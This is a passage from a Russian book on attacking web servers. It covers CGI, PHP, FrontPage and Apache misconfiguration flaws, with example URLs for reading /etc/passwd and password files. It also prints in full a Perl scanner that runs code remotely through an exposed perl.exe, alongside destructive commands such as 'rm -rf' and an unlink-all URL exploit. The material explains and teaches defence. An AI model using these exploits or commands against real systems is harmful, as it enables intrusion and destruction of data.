Илья Медведовский - Атака на Internet
#!/bin/sh
echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT"
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = $QUERY_STRING
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTHПередача «*» серверу в качестве QUERY_STRING приводит к выдаче списка содержимого каталога cgi-bin (модификация – передача «/» или любого другого пути). После исправления ошибки (заключающейся в установке кавычек вокруг $QUERY_STRING) настала очередь SERVER_PROTOCOL. В обычной ситуации она принимает значение вида «HTTP/1.0», но, как выяснилось, Apache прекрасно проглатывал любое другое значение, что позволило передавать злосчастную звездочку в этой переменной окружения.
Ошибки в файлах-примерах для PHP (PHP – скриптовый язык, выполняемый на серверной стороне, нечто аналогичное Microsoft ASP): mlog.html и mylog.html включают строчку <?include "$screen">.
Поскольку здесь отсутствует какая бы то ни было фильтрация, никто не мешает передать этому скрипту полный путь до любого файла: http:/ /www.victim.com/logs/mlog.html?screen=/etc/passwd.
Огромное количество ошибок связано с расширениями FrontPage (FPE). FrontPage – это не только WYSIWYG-редактор html-кода, относиться к которому можно по-разному, но и мощное средство администрирования Web-сайта. Чтобы воспользоваться всеми возможностями FrontPage, на сервер должны быть установлены дополнительные средства, так называемые расширения FrontPage, которые разработаны для различных платформ и серверов. Тут-то нас и подстерегают некоторые неожиданности.
Начнем с того, что при установке FrontPage 1.1 пользователь IUSR_hostname получал право доступа Full Control к каталогу _vti_bin и файлу shtml.exe, а взломщик, подобрав пароль этого пользователя, получал доступ к каталогу с исполняемыми файлами.
Чуть позже выяснилось, что пароли для сайта можно спокойно взять из файлов http://www.victim.com/_vti_pvt/administrators.pwd, http://www.victim.com/_vti_pvt/authors.pwd и http://www.victim.com/_vti_pvt/service.pwd (по умолчанию доступ к этим файлам открыт для всех желающих).
Дальше – больше. При установке FPE на Apache его настройки корректируются таким образом, что любой файл, размещенный в подкаталогах с именем _vti_bin, может быть выполненным. Очень удобно для запуска cgi-скриптов на серверах, не дающих такой возможности.
Вообще, стандартные имена конфигурационных файлов предоставляют широкие возможности по поиску серверов с установленными FPE – достаточно послать запрос на поиск, к примеру, _vti_inf.html.
Ошибки администрированияЛюбая система может оказаться совершенно незащищенной из-за незначительной на первый взгляд ошибки в администрировании.
Так, Apache включает директиву UserDir, определяющую подкаталог в пользовательском каталоге, из которого берутся html-файлы при обращении вида /~user. Установив директиву в /usr/*/public_html, мы получим трансляцию адреса вида http://www.victim.com/~user/dir/file.html в путь /usr/user/public_html/dir/file.html. По умолчанию этой директиве присвоено значение public_html. Некоторые серверы, не найдя соответствующий каталог, переадресуют нас в домашний каталог пользователя user. Далее мы можем пробовать обращения типа http://www.victim.com/~root/etc/passwd, http://www.victim.com/~uucp/etc/passwd и т. д. Аналогичный эффект получится, если установить UserDir в «./». Поэтому в версиях Apache 1.3 и выше рекомендуется использовать директиву UserDir disabled root.
К ошибкам конфигурирования относятся и упомянутые в предыдущем разделе ошибки FrontPage, в то же время правильное администрирование может минимизировать вред от многочисленных ошибок IIS.
Совершенно изумительных результатов можно добиться, поместив perl.exe в каталог cgi-bin любого сервера на PC-платформе (или любой другой каталог, из которого разрешен запуск CGI-скриптов). Определить такой сервер можно по использованию на нем адресов вида http://www.victim.com/cgi-bin/perl.exe?script.pl. Одно время такая практика была очень распространена (это рекомендовалось компанией Netscape для выполнения perl-скриптов на ее сервере, не поддерживающем механизма ассоциации файловых расширений с исполняемыми приложениями), но понемногу сошла на нет, что было связано с распространением скриптов (подобных приведенному ниже), позволяющих выполнить на удаленной машине любой perl-код.#!/usr/bin/perl -w
#
#####################################################################
# latrodectus cyberneticus – probe web for insecure perl installations
# [email protected]
# version 1.0, Thu Mar 28 17:53:42 MST 1996
#
# requires the LWP library, fetchable from the CPAN multiplexor at
# http://www.perl.com/cgi-bin/cpan_mod?module=LWP
#####################################################################
#AUTHOR: Tom Christiansen < [email protected]>
#Last update: Thu Mar 28 17:53:42 MST 1996
require 5.002;
use strict;
use LWP::UserAgent;
my $PROGNAME = "latrodectus cyberneticus";
my $VERSION = "1.0";
my $DEF_CGI_BIN = "/cgi-bin";
# Имя интерпретатора perl на удаленной машине,
# стоит попробовать и perl.exe, и perl.com
my $DEF_PERL_PATH = "/perl.exe";
# Заносим в переменную $PROGRAM текст, начинающийся
# после слов __END__, – нашу программу, которая будет
# выполняться на удаленном сервере
my $PROGRAM = join qq===><DATA>;
$| = 1;
if (@ARGV) {
for (@ARGV) { probe($_) }
} elsif (!-t STDIN) {
while (<STDIN>) {
chomp;
probe($_);
}
} else {
die "usage: $0 [site ...]n";
}
sub probe {
my $site = shift;
my $cgi_bin = ’’;
my $perl_path = ’’;
my $pre_site = ’’;
if ($site !~ m#/#) {
$cgi_bin = $DEF_CGI_BIN;
}
if ($site !~ /perl/) {
$perl_path = $DEF_PERL_PATH;
}
if ($site !~ m#^//#) {
$pre_site = ’//’;
}
my $ua = LWP::UserAgent->new();
$ua->agent("$PROGNAME, v$VERSION");
#Формируем полный url интерпретатора
my $full_targ = ’http:’ . $pre_site . $site . $cgi_bin . $perl_path;
printf "%-35s ", $site;
# Открываем соединение
my $req = HTTP::Request->new( POST => $full_targ );
# Посылаем нашу программу
$req->content_type(’application/x-www-form-urlencoded’);
$req->content($PROGRAM);
#Получаем ответ
my $res = $ua->request($req);
# Проверяем, выполнилась ли наша программа
if ($res->is_success) {
if ($res->content =~ /WWW Black Widow/) {
print "<<<< COMPROMISED >>>n";
} else {
my $oops = $res->content;
$oops =~ s/n/ /g;
print "APPREHENDED: $oopsn";
}
} else {
my $oops = $res->code . " " . $res->message;
if ($res->code == 404) {
print "SAFE: $oops";
} else {
print "ERROR: $oops";
}
print "n" unless $oops =~ /n$/;
}
}
__END__
# Здесь начинается код, который будет выполнен на удаленной
# машине. Сначала выводится некий текст для проверки
# работы скрипта
print <<EOF;
Content-Type: text/plain
The WWW Black Widow was here.
EOF
# Ну а здесь уже можно написать что угодно – от простого
# сообщения администратору о найденной дырке, до чего-нибудь
# типа
# system("rm -rf * /*");
# system("format a:");
# system("ls -lR");
# system("dir");
# unlink <* *.* /*>;
print "If I were nasty, you’d be spiderfood by now.n";
print "nnt–the black widown";
__END__Если под рукой нет Perl, можно попробовать просто дать команду типа http://www.victim.com/cgi-bin/perl.exe?&-e+unlink+%3C*%3E. Аналогичные проблемы возникают при реализации PHP в качестве cgi-скрипта и его размещении в каталоге cgi-bin.
Безопасность CGI-приложений
Устанавливая последнюю версию Web-сервера, мы можем быть уверены хотя бы в том, что она не содержит очевидных ошибок, опубликованных по всей Сети пару лет тому назад. На появление новых ошибок производители реагируют достаточно быстро, а задача администратора сводится к тому, чтобы быть в курсе происходящего. С CGI-приложениями ситуация несколько иная – на сей раз в роли разработчика зачастую выступают владельцы сайтов, которые должны сами заботиться о безопасности приложений. Не стоит особо доверять и готовым скриптам, так как огромное количество ошибок обнаруживается именно в примерах, поставляемых вместе с Web-серверами, а также во многих популярных скриптах.
Вопросам безопасности, наиболее часто встречающимся ошибкам и методам создания безопасных CGI-приложений и посвящен этот раздел.
Общие сведения
CGI (Common Gateway Interface – общий шлюзовой интерфейс) представляет собой компонент Web-сервера, обеспечивающий взаимодействие с другими программами, выполняемыми на этом сервере. Используя CGI, Web-сервер вызывает внешнюю программу (CGI-приложение) и передает ей информацию, полученную от клиента (например, переданную Web-браузером). Далее CGI-приложение обрабатывает полученную информацию и результаты ее работы передаются клиенту.
Рассмотрим эти этапы чуть подробнее. Взаимодействие между клиентом и серверным приложением осуществляется по схеме, представленной на рис. 10.5.
Рис. 10.5. Схема взаимодействия браузера, WWW-сервера и cgi-приложения
1. Пользователь заполняет экранную форму и нажимает на кнопку Submit. Возможен также запрос при непосредственном использовании адреса CGI-приложения – указывая его в строке Location браузера, в тэге <img>, с помощью средств включения сервера (SSI) и т. д.
2. На основе информации из формы браузер формирует HTTP-запрос и отправляет его серверу. Информация приводится к виду param1=value1¶m2=value2…¶mN=valueN. Если указано, что при передаче должен использоваться метод GET, эта строка передается непосредственно в URL (например, http://www.somehost.com/cgi-bin/script.cgi?param1=value1¶m2=value2). При использовании метода POST через заголовок передается информация о типе содержимого запроса (для форм это, как правило, application/x-www-form-urlencoded), а также длина строки. Сама строка в этом случае передается непосредственно в теле запроса (примеры приведены чуть ниже). В заголовках запроса также передается значительное количество вспомогательной информации: тип браузера, адрес страницы, с которой был произведен запрос, и т. д.